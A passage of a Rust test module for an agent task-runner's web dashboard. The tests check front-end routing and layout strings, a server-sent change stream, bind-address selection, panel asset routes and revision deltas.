13069        // A task notice opens the task detail page, not the Backlog card.
13070        let start = APP_JS
13071            .find("function noticeLink(")
13072            .expect("noticeLink exists");
13073        let body = &APP_JS[start..];
13074        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13075        assert!(
13076            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13077            "a task notice's link must target the task page"
13078        );
13079        assert!(
13080            !body.contains("#/queue/"),
13081            "regression: the task link must not go back to the Backlog route"
13082        );
13083        assert!(
13084            APP_JS.contains(
13085                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13086            ),
13087            "`#/tasks/<id>` must parse into the task route"
13088        );
13089
13090        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
13091        assert!(
13092            APP_JS.contains(
13093                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13094            ),
13095            "`#/queue/<id>` must parse into a route carrying that id"
13096        );
13097
13098        // And the Backlog view has to actually land on the card once it can
13099        // - see consumeQueueFocus(), which renderQueue() calls on every pass
13100        // so a focus set before the queue has loaded is retried once it has.
13101        assert!(APP_JS.contains("state.queueFocus = route.id;"));
13102        assert!(APP_JS.contains("function consumeQueueFocus()"));
13103        assert!(APP_JS.contains("jumpToTask(id)"));
13104    }
13105
13106    /// Chat rows are two lines at every width: the title alone, then the
13107    /// shrinkable secondary info.
13108    #[test]
13109    fn chat_rows_put_the_title_alone_on_the_first_line() {
13110        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
13111        assert!(APP_CSS.contains(
13112            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13113        ));
13114        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13115        assert!(APP_JS.contains("class: \"badge talk-unread\""));
13116    }
13117
13118    #[test]
13119    fn run_rows_put_the_title_alone_on_the_first_line() {
13120        assert!(
13121            APP_CSS.contains(
13122                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
13123            )
13124        );
13125        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13126        assert!(APP_JS.contains("class: \"card run-card\""));
13127        assert!(APP_JS.contains("class: \"repo run-id\""));
13128    }
13129
13130    /// Wide screens get a master/detail layout built from the views a phone
13131    /// drills into. These are string assertions: they pin the contract between
13132    /// the three assets, not how it looks.
13133    #[test]
13134    fn wide_screens_show_list_and_preview_side_by_side() {
13135        // One breakpoint, spelled the same in the script and the stylesheet.
13136        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13137        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13138        assert!(APP_CSS.contains("main[data-split]"));
13139        assert!(APP_CSS.contains("body[data-split]"));
13140
13141        // The route -> panes table, and a narrow screen opting out of it.
13142        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
13143        assert!(
13144            APP_JS.contains(
13145                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13146            )
13147        );
13148        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13149        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13150        assert!(INDEX_HTML.contains("id=\"split-empty\""));
13151
13152        // Selection is derived from the route, and only ever paints a row.
13153        assert!(APP_JS.contains("function markSelected() {"));
13154        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13155        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13156        // The dense row must override the stacked card the 720px block sets up.
13157        assert!(
13158            APP_CSS.contains(
13159                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13160            )
13161        );
13162
13163        // Independent scrolling: the page stops scrolling, each pane does.
13164        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13165        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13166        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13167        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13168
13169        // A refresh must never navigate: the loaders still check that their
13170        // subject is the one on screen, and crossing the breakpoint only
13171        // re-reads the hash.
13172        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13173        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13174        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13175        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13176
13177        // The panel sandbox and its CSP are untouched by any of this.
13178        assert!(APP_JS.contains("sandbox: \"\""));
13179        assert!(!APP_JS.contains("sandbox: \"allow"));
13180    }
13181
13182    #[test]
13183    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13184        // consumeQueueFocus() clears an active Backlog search before it can
13185        // scroll to the target card (the sections list is hidden while a
13186        // search is showing), by recursing back into renderQueue(). The
13187        // fixer's first cut nulled state.queueFocus before that recursive
13188        // call, so the second pass saw nothing to jump to and the jump was
13189        // silently dropped whenever a notification's link was opened with a
13190        // stale search still active. state.queueFocus must only be cleared
13191        // right before jumpToTask() actually runs.
13192        assert!(
13193            APP_JS.contains(
13194                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
13195            ),
13196            "the search-clearing branch must run before state.queueFocus is cleared, or the \
13197             recursive renderQueue() call has nothing left to jump to"
13198        );
13199        assert!(
13200            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13201            "state.queueFocus must be cleared only once the jump has landed, so a card that \
13202             arrives later still gets it"
13203        );
13204        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13205        assert!(APP_JS.contains("is not in the current Backlog."));
13206        assert!(APP_JS.contains("li.card[data-task-id=\""));
13207        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13208        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13209        assert!(APP_CSS.contains(".card-permalink"));
13210        assert!(APP_CSS.contains(".queue-focus-status"));
13211        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13212    }
13213
13214    #[test]
13215    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13216        // The task's own repro: only the link text inside .notice-meta was
13217        // clickable, so a tap on the message, the timestamp, or the card's
13218        // padding did nothing - on a phone that reads as "the card doesn't
13219        // work" even though the tiny link inside it did. Mark read / Dismiss
13220        // must keep working independently of this: `.closest("a, button")`
13221        // is what lets a tap that actually lands on those elements fall
13222        // through instead of being hijacked into a navigation.
13223        assert!(
13224            APP_JS.contains(
13225                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13226            ),
13227            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13228        );
13229    }
13230
13231    #[test]
13232    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13233        assert!(
13234            APP_JS.contains("round.verified_head !== round.head"),
13235            "a round that verified an earlier commit must be visibly distinct from one that \
13236             verified the head reviewers are looking at now"
13237        );
13238        assert!(
13239            APP_JS.contains("round.verified_at"),
13240            "when a check ran must be on the wire, not just which commit"
13241        );
13242        assert!(
13243            APP_JS.contains("resource_blocked"),
13244            "a command magi never got to run (shared build cache contention) must not render \
13245             the same as a command that ran and failed"
13246        );
13247    }
13248
13249    #[test]
13250    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13251        // Every KPI tile but Total runs and Completion names an exact
13252        // RunStatus and hands it to openRunsFiltered(), which is what wires
13253        // the click into state.runsFilter.status (matchesFilter's own
13254        // status check) rather than the coarser runsStateFilter chips. Each
13255        // status literal here must be one of the strings runSection() (and
13256        // isStale()) actually compare a run's own `status` field against -
13257        // a status this dashboard invented would filter to nothing.
13258        assert!(
13259            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13260            "every KPI tile built through statusTile() must route its click through \
13261             openRunsFiltered, the single place that sets the Runs filter"
13262        );
13263        for (label, status) in [
13264            ("Merged", "merged"),
13265            ("Ready", "ready"),
13266            ("Blocked", "blocked"),
13267            ("Stalled", "stalled"),
13268        ] {
13269            let call = format!("statusTile(\"{label}\", t.{status}, ");
13270            assert!(
13271                APP_JS.contains(&call),
13272                "expected the {label} KPI tile built via {call}..."
13273            );
13274            assert!(
13275                APP_JS.contains(&format!("status === \"{status}\"")),
13276                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13277                 compare a run against, not one invented only for the stats tile"
13278            );
13279        }
13280        assert!(
13281            APP_JS.contains("function openRunsFiltered(status)"),
13282            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13283        );
13284        assert!(
13285            APP_JS.contains(
13286                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13287            ),
13288            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13289        );
13290        // applyRoute() only flips which view is visible for a plain `#runs`
13291        // hash - it does not itself redraw the list (see applyRoute's own
13292        // handling below) - so openRunsFiltered must call renderRuns()
13293        // itself, and must call applyRoute() too so the view flips even
13294        // when the hash string doesn't change (the operator may already be
13295        // on the Runs view when a tile is tapped, which fires no
13296        // hashchange event at all).
13297        assert!(
13298            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
13299            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13300             hashchange event that may never fire"
13301        );
13302    }
13303
13304    #[test]
13305    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13306        // A stats tile can leave state.runsFilter.status set to something
13307        // done-by-construction (e.g. "merged") - picking "Active" afterward
13308        // must drop it the same way an incompatible tree section is already
13309        // dropped, or the Runs list renders permanently empty with no way
13310        // for the operator to tell why.
13311        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13312        assert!(
13313            APP_JS.contains(
13314                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
13315            ),
13316            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13317             guard for an incompatible tree section"
13318        );
13319    }
13320
13321    #[test]
13322    fn every_stats_queue_tile_names_a_real_queue_section() {
13323        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
13324        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
13325        // (consumeQueueSectionFocus finds no matching <details> and drops
13326        // the focus) rather than fail loudly, so pin every key against the
13327        // section list it has to resolve against.
13328        assert!(
13329            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13330            "every queue tile built through sectionTile() must route its click through \
13331             openQueueSectionFocus"
13332        );
13333        for key in ["upnext", "running", "done", "held", "blocked"] {
13334            assert!(
13335                APP_JS.contains(&format!("{{ key: \"{key}\",")),
13336                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13337            );
13338        }
13339        // Queued and Failed intentionally both resolve to "upnext" - the
13340        // same section queueSection() itself files them under - rather than
13341        // getting a section each.
13342        for line in [
13343            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13344            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13345            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13346            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13347            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13348            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13349        ] {
13350            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13351        }
13352    }
13353
13354    #[test]
13355    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13356        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
13357        // above for the section-focus channel a stats queue tile drives:
13358        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
13359        // through the stale-search-clear recursion into renderQueue(), and
13360        // clear it only once revealQueueSection() is actually about to run -
13361        // the same trap that once silently dropped a task-focus jump.
13362        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13363        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13364        assert!(APP_JS.contains("function revealQueueSection(details)"));
13365        assert!(
13366            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
13367            "renderQueue() must consume both focus channels on every pass"
13368        );
13369        assert!(
13370            APP_JS.contains(
13371                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
13372            ),
13373            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13374             the recursive renderQueue() call has nothing left to reveal"
13375        );
13376        assert!(
13377            APP_JS.contains(
13378                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
13379            ),
13380            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13381        );
13382        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
13383        // task-focus form of the hash - a plain `#queue` navigation only
13384        // flips which view is visible. openQueueSectionFocus() must
13385        // therefore call renderQueue() itself, and applyRoute() too so the
13386        // view flips even when the hash doesn't change (the Backlog may
13387        // already be open when a tile is tapped, firing no hashchange
13388        // event at all).
13389        assert!(
13390            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
13391            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13392             hashchange event that may never fire"
13393        );
13394    }
13395
13396    #[tokio::test]
13397    async fn the_change_stream_announces_the_current_revisions_on_connect() {
13398        let f = Fixture::start().await;
13399
13400        let mut socket = tokio::net::TcpStream::connect(f.addr)
13401            .await
13402            .expect("connect");
13403        socket
13404            .write_all(
13405                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13406            )
13407            .await
13408            .expect("write request");
13409
13410        // Read until the first event arrives rather than to end of stream: the
13411        // stream is endless by design, which is the point of the route.
13412        let mut seen = String::new();
13413        let mut buf = [0u8; 1024];
13414        while !seen.contains("event: change") {
13415            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13416                .await
13417                .expect("the stream must speak within five seconds")
13418                .expect("read");
13419            assert!(read > 0, "the server closed the change stream: {seen}");
13420            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13421        }
13422
13423        assert!(
13424            seen.to_lowercase()
13425                .contains("content-type: text/event-stream"),
13426            "the browser only reconnects automatically for a real SSE stream: {seen}"
13427        );
13428        let data = seen
13429            .lines()
13430            .find_map(|l| l.strip_prefix("data:"))
13431            .expect("a data line");
13432        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13433        assert!(
13434            payload["queue_rev"].is_u64()
13435                && payload["runs_rev"].is_u64()
13436                && payload["questions_rev"].is_u64()
13437                && payload["talks_rev"].is_u64()
13438                && payload["notifications_rev"].is_u64()
13439                && payload["loop_rev"].is_u64(),
13440            "the client needs one revision per store to know what to refetch, \
13441             and `talks_rev` is the only notification a standing talk gets - a \
13442             phone whose radio slept through a turn learns about it here, as \
13443             does one whose operator started the loop from another device: \
13444             {payload}"
13445        );
13446
13447        // The front end re-polls health on a timer and on wake, and takes the
13448        // revisions from that answer whenever the stream is not up. So health
13449        // has to carry every key the stream carries: a phone on a link that
13450        // will not hold an SSE connection is exactly the phone that must still
13451        // notice a question, and a missing key there is not a 500 but a UI
13452        // that quietly stops updating.
13453        let health = f.get("/api/health").await.json();
13454        for key in [
13455            "queue_rev",
13456            "runs_rev",
13457            "questions_rev",
13458            "talks_rev",
13459            "notifications_rev",
13460            "loop_rev",
13461        ] {
13462            assert!(
13463                health[key].is_u64(),
13464                "health is the change stream's fallback and is missing `{key}`: {health}"
13465            );
13466        }
13467    }
13468
13469    #[tokio::test]
13470    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13471        let f = Fixture::start().await;
13472        let before = f.get("/api/health").await.json()["talks_rev"]
13473            .as_u64()
13474            .expect("talks_rev");
13475
13476        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13477        std::thread::sleep(Duration::from_millis(10));
13478        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13479        on_disk.turns.push(crate::talk::Turn {
13480            breaks: Some(Vec::new()),
13481            who: crate::talk::Who::Operator,
13482            body: "a new turn".to_owned(),
13483            at: Timestamp::now(),
13484            attachments: Vec::new(),
13485            usage: None,
13486        });
13487        f.talks().put(&mut on_disk).expect("record a turn");
13488
13489        let after = f.get("/api/health").await.json()["talks_rev"]
13490            .as_u64()
13491            .expect("talks_rev");
13492        assert_ne!(
13493            before, after,
13494            "a phone must be able to notice a talk's reply without polling every store"
13495        );
13496    }
13497
13498    #[test]
13499    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13500        // The CLI shows the default in `--help` and parses whatever comes
13501        // back, so the two directions have to agree or `--bind auto` breaks
13502        // the moment someone copies the help text.
13503        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13504            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13505        }
13506        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13507        assert!("everywhere".parse::<Bind>().is_err());
13508    }
13509
13510    #[test]
13511    fn an_explicit_bind_address_is_taken_verbatim() {
13512        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13513
13514        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13515
13516        assert_eq!(addr, asked);
13517        assert!(
13518            warning.is_none(),
13519            "an operator who named an address gets no lecture"
13520        );
13521    }
13522
13523    #[test]
13524    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13525        let (addr, warning) = resolve_bind(&Bind::Auto);
13526
13527        // This has to hold on a CI runner with no `tailscale` and on a dev box
13528        // with one, so the invariant asserted is the one shared by both
13529        // outcomes: the address is either a real tailnet address offered
13530        // without comment, or loopback with an explanation. What must never
13531        // happen is a silent fallback - an operator told "listening on
13532        // 127.0.0.1" with no reason would go looking for a firewall.
13533        match addr {
13534            IpAddr::V4(ip) if is_tailnet(&ip) => {
13535                assert!(warning.is_none(), "a tailnet address needs no warning");
13536            }
13537            other => {
13538                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13539                let warning = warning.expect("a fallback has to explain itself");
13540                assert!(
13541                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13542                    "the warning says what happened and what it costs: {warning}"
13543                );
13544            }
13545        }
13546    }
13547
13548    #[test]
13549    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13550        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13551        // boundary cases are what stop us binding to some other tool's idea of
13552        // an address.
13553        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13554        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13555        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13556        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13557        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13558    }
13559
13560    #[test]
13561    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13562        let ids = vec![
13563            "20260902-140501-aaaa".to_owned(),
13564            "20260902-140502-aabb".to_owned(),
13565        ];
13566
13567        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13568        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13569        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13570
13571        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13572        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13573        assert_eq!(short, "20260902-140502-aabb");
13574    }
13575    #[tokio::test]
13576    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13577        // The prompt tells agents to reference attachments by bare filename.
13578        // A document served at `.../panel` resolves `shot.png` against its own
13579        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13580        // panel written exactly as instructed showed broken images. Caught by
13581        // looking at a real one in a browser, not by reading the code.
13582        let fx = Fixture::start().await;
13583        let id = panel(
13584            &fx,
13585            "<img src=\"shot.png\">",
13586            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13587        );
13588
13589        // The frame's own URL ends in a filename, so its siblings are reachable.
13590        let doc = fx
13591            .get(&format!("/api/questions/{id}/panel/index.html"))
13592            .await;
13593        assert_eq!(doc.status, 200, "{}", doc.body);
13594        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13595
13596        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13597        assert_eq!(sibling.status, 200, "{}", sibling.body);
13598        assert_eq!(sibling.header("content-type"), Some("image/png"));
13599        assert_eq!(
13600            sibling.header("content-security-policy"),
13601            Some(PANEL_CSP),
13602            "the sibling route must carry the same policy as the asset route"
13603        );
13604
13605        // The original spelling keeps working: HEAD on it is how the front end
13606        // decides whether to mount a frame at all.
13607        assert_eq!(
13608            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13609            200
13610        );
13611    }
13612
13613    #[test]
13614    fn delta_stamps_cover_add_update_remove_and_noop() {
13615        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13616        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13617        let delta = diff_stamps(&before, &after, 42);
13618        assert_eq!(delta.base, 42);
13619        assert_eq!(delta.changed, ["b", "c"]);
13620        assert_eq!(delta.removed, ["a"]);
13621        let same = diff_stamps(&after, &after, 43);
13622        assert!(same.changed.is_empty() && same.removed.is_empty());
13623        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13624        let nanos: Stamps = [("b".into(), (2, 20))].into();
13625        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13626        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13627        assert_eq!(stamps_revision(&Stamps::new()), 0);
13628    }
13629
13630    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13631        std::fs::create_dir_all(home.join("runs")).unwrap();
13632        Arc::new(Ui::new(
13633            Queue::at(home.join("queue")),
13634            Questions::at(home.join("questions")),
13635            Talks::at(home.join("talks")),
13636            home.join("runs"),
13637            home.to_owned(),
13638            PathBuf::from("/repo/magi"),
13639        ))
13640    }
13641
13642    #[tokio::test]
13643    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13644        let home = TempDir::new().unwrap();
13645        let ui = delta_test_ui(home.path());
13646        let mut task = Task::new(
13647            "stream task".into(),
13648            "text".into(),
13649            PathBuf::from("/repo"),
13650            Source::Human,
13651        );
13652        ui.queue.put(&mut task).unwrap();
13653        let response = events(State(ui.clone())).await.into_response();
13654        let mut stream = response.into_body().into_data_stream();
13655        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13656            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13657                .await
13658                .unwrap()
13659                .unwrap()
13660                .unwrap();
13661            let text = String::from_utf8(chunk.to_vec()).unwrap();
13662            let data = text
13663                .lines()
13664                .find_map(|line| {
13665                    line.strip_prefix("data: ")
13666                        .or_else(|| line.strip_prefix("data:"))
13667                })
13668                .unwrap();
13669            serde_json::from_str(data).unwrap()
13670        }
13671        let initial = change(&mut stream).await;
13672        assert!(initial.get("queue_delta").is_none());
13673        task.instruction.push_str(" changed");
13674        ui.queue.put(&mut task).unwrap();
13675        let updated = change(&mut stream).await;
13676        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13677        assert_eq!(
13678            updated["queue_delta"]["changed"],
13679            serde_json::json!([task.id])
13680        );
13681        assert_eq!(
13682            updated["queue_rev"].as_u64(),
13683            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13684        );
13685        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13686        let removed = change(&mut stream).await;
13687        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13688        assert_eq!(
13689            removed["queue_delta"]["removed"],
13690            serde_json::json!([task.id])
13691        );
13692    }
13693
13694    #[tokio::test]
13695    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13696        let home = TempDir::new().unwrap();
13697        let ui = delta_test_ui(home.path());
13698        let queue = ui.queue.clone();
13699        let query = |ids: Option<&str>| {
13700            Query(ListQuery {
13701                limit: Some(2),
13702                ids: ids.map(str::to_owned),
13703            })
13704        };
13705        let mut root = Task::new(
13706            "root".into(),
13707            "instruction".into(),
13708            PathBuf::from("/repo"),
13709            Source::Human,
13710        );
13711        queue.put(&mut root).unwrap();
13712        let mut blocked = Task::new(
13713            "blocked".into(),
13714            "instruction".into(),
13715            PathBuf::from("/repo"),
13716            Source::Human,
13717        );
13718        blocked.block(vec![root.id.clone()], None);
13719        queue.put(&mut blocked).unwrap();
13720        let whole =
13721            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13722                .unwrap();
13723        let subset = serde_json::to_value(
13724            queue_list(State(ui.clone()), query(Some(&root.id)))
13725                .await
13726                .unwrap()
13727                .0,
13728        )
13729        .unwrap();
13730        assert_eq!(whole, subset, "requested root plus its blocked dependent");
13731        let blockers = serde_json::to_value(
13732            queue_list(State(ui.clone()), query(Some("")))
13733                .await
13734                .unwrap()
13735                .0,
13736        )
13737        .unwrap();
13738        assert_eq!(blockers.as_array().unwrap().len(), 1);
13739        assert_eq!(blockers[0]["id"], blocked.id);
13740        assert_eq!(
13741            blockers[0]["waits_on"],
13742            whole
13743                .as_array()
13744                .unwrap()
13745                .iter()
13746                .find(|row| row["id"] == blocked.id)
13747                .unwrap()["waits_on"]
13748        );
13749
13750        for id in [
13751            "20260902-140501-aaaa",
13752            "20260902-140502-bbbb",
13753            "20260902-140503-cccc",
13754        ] {
13755            write_run(&ui.runs, id, RunStatus::Merged);
13756        }
13757        let old = serde_json::to_value(
13758            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13759                .await
13760                .unwrap()
13761                .0,
13762        )
13763        .unwrap();
13764        assert!(
13765            old.as_array().unwrap().is_empty(),
13766            "older updates must not enter the window"
13767        );
13768        let newest = serde_json::to_value(
13769            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13770                .await
13771                .unwrap()
13772                .0,
13773        )
13774        .unwrap();
13775        assert_eq!(newest.as_array().unwrap().len(), 1);
13776        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13777
13778        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13779        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13780        let talks = serde_json::to_value(
13781            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13782                .await
13783                .unwrap()
13784                .0,
13785        )
13786        .unwrap();
13787        assert_eq!(talks.as_array().unwrap().len(), 1);
13788        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13789        assert_eq!(
13790            serde_json::to_value(
13791                talks_list(State(ui.clone()), query(Some("")))
13792                    .await
13793                    .unwrap()
13794                    .0
13795            )
13796            .unwrap(),
13797            serde_json::json!([])
13798        );
13799    }
13800
13801    #[tokio::test]
13802    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13803    async fn delta_payload_benchmark() {
13804        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13805        let ui = delta_test_ui(&home);
13806        let query = |ids: Option<String>| {
13807            Query(ListQuery {
13808                limit: Some(50),
13809                ids,
13810            })
13811        };
13812        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13813        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13814        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13815        let queue_id = queue
13816            .iter()
13817            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13818            .unwrap_or(&queue[0])
13819            .task
13820            .id
13821            .clone();
13822        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13823            .await
13824            .unwrap()
13825            .0;
13826        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13827            .await
13828            .unwrap()
13829            .0;
13830        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13831            .await
13832            .unwrap()
13833            .0;
13834        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13835        eprintln!(
13836            "DELTA_PAYLOAD {}",
13837            serde_json::json!({
13838                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13839                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13840                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13841                "counts": [queue.len(), runs.len(), talks.len()],
13842                "blocked": queue_delta.len() - 1,
13843            })
13844        );
13845    }
13846
13847    #[test]
13848    fn runs_revision_moves_when_deleting_an_older_run() {
13849        let temp = TempDir::new().expect("tempdir");
13850        let runs = temp.path().join("runs");
13851        std::fs::create_dir_all(&runs).expect("create runs dir");
13852
13853        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13854
13855        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13856        std::thread::sleep(Duration::from_millis(10));
13857        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13858
13859        let rev_before = runs_revision(&runs);
